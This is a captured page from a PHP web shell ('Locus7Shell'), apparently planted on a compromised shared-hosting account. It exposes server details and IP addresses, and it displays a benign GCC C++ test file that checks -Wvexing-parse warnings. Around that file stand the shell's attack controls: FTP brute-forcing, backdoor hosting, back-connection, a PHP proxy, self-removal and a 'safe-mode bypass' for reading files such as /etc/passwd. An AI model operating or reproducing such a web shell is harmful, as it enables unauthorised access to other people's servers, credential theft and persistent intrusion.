Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/g++.dg/warn/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     Wvexing-parse.C (2.79 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
// PR c++/25814
// { dg-do compile }
// Test -Wvexing-parse.

struct T { };

struct X {
  X();
};

struct S {
  S(int);
  S foo (int (int));
  S(T);
  int m;
};

struct W {
  W();
  W(X, X);
  int m;
};

int g;
int g1(int(g));
int g2(int());
void fg(int);

void
fn1 (double (a))
{
  extern int f0();
  extern int f1(int(a));
  int f2(int(a)); // { dg-warning "parentheses were disambiguated as a function declaration" }
  int (*f3)(int(a));
  int f4(int a);
  int f5(int()); // { dg-warning "parentheses were disambiguated as a function declaration" }
  int f6(...);
  int f7((int(a)));
  int (f8);
  int f9(S(s)); // { dg-warning "parentheses were disambiguated as a function declaration" }
  int(f10) __attribute__(());
  int(f11(int()));
  if (int(a) = 1) { }
  int j, k, l(); // { dg-warning "empty parentheses were disambiguated as a function declaration" }
  int m, f12(int(j)); // { dg-warning "parentheses were disambiguated as a function declaration" }

  T t1(); // { dg-warning "empty parentheses were disambiguated as a function declaration" }
  T t2(T()); // { dg-warning "parentheses were disambiguated as a function declaration" }
  /* Declares a variable t3.  */
  T(t3);
  T t4(), // { dg-warning "empty parentheses were disambiguated as a function declaration" }
    t5(); // { dg-warning "empty parentheses were disambiguated as a function declaration" }

  extern S s1(int(a));
  S s2(int(a)); // { dg-warning "parentheses were disambiguated as a function declaration" }
  S s3(int a);
  S s4(int()); // { dg-warning "parentheses were disambiguated as a function declaration" }
  S s5(int(int)); // { dg-warning "parentheses were disambiguated as a function declaration" }
  S s6(...);
  S s7((int(a)));
  S s8((int)a);
  S s9 = int(a);
  S(T());
  S s10(S()); // { dg-warning "parentheses were disambiguated as a function declaration" }
  S s11(T());
  S s12(X()); // { dg-warning "parentheses were disambiguated as a function declaration" }
  S s13 = S(T());
  S(T()).foo(0);
  S (S::*foo)(int (int));
  S(*s14)(int(a));
  S s15(); // { dg-warning "empty parentheses were disambiguated as a function declaration" }
  S s16(void);

  /* Don't warn here.  */
  void fv1(int(a));
  void fv2(int());
  void (fv3)();
  void (fv4)(void);
  void (fv5)(int);

  int n(); // { dg-warning "empty parentheses were disambiguated as a function declaration" }
  int (n2)(); // { dg-warning "empty parentheses were disambiguated as a function declaration" }
  int n3(void);

  typedef int F(const char*);
  typedef int F2();
  typedef int F3() const;
  typedef int F4(int(a)) const;

  W w(X(), X()); // { dg-warning "parentheses were disambiguated as a function declaration" }
}

struct C1 {
  C1(int);
};

struct C2 {
  C2(C1, int);
};

template<int N> int value() { return N; }

void
fn2 ()
{
  int i = 0;
  C2 c2(C1(int(i)), i);
  C1(value<0>());
}

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0056 ]--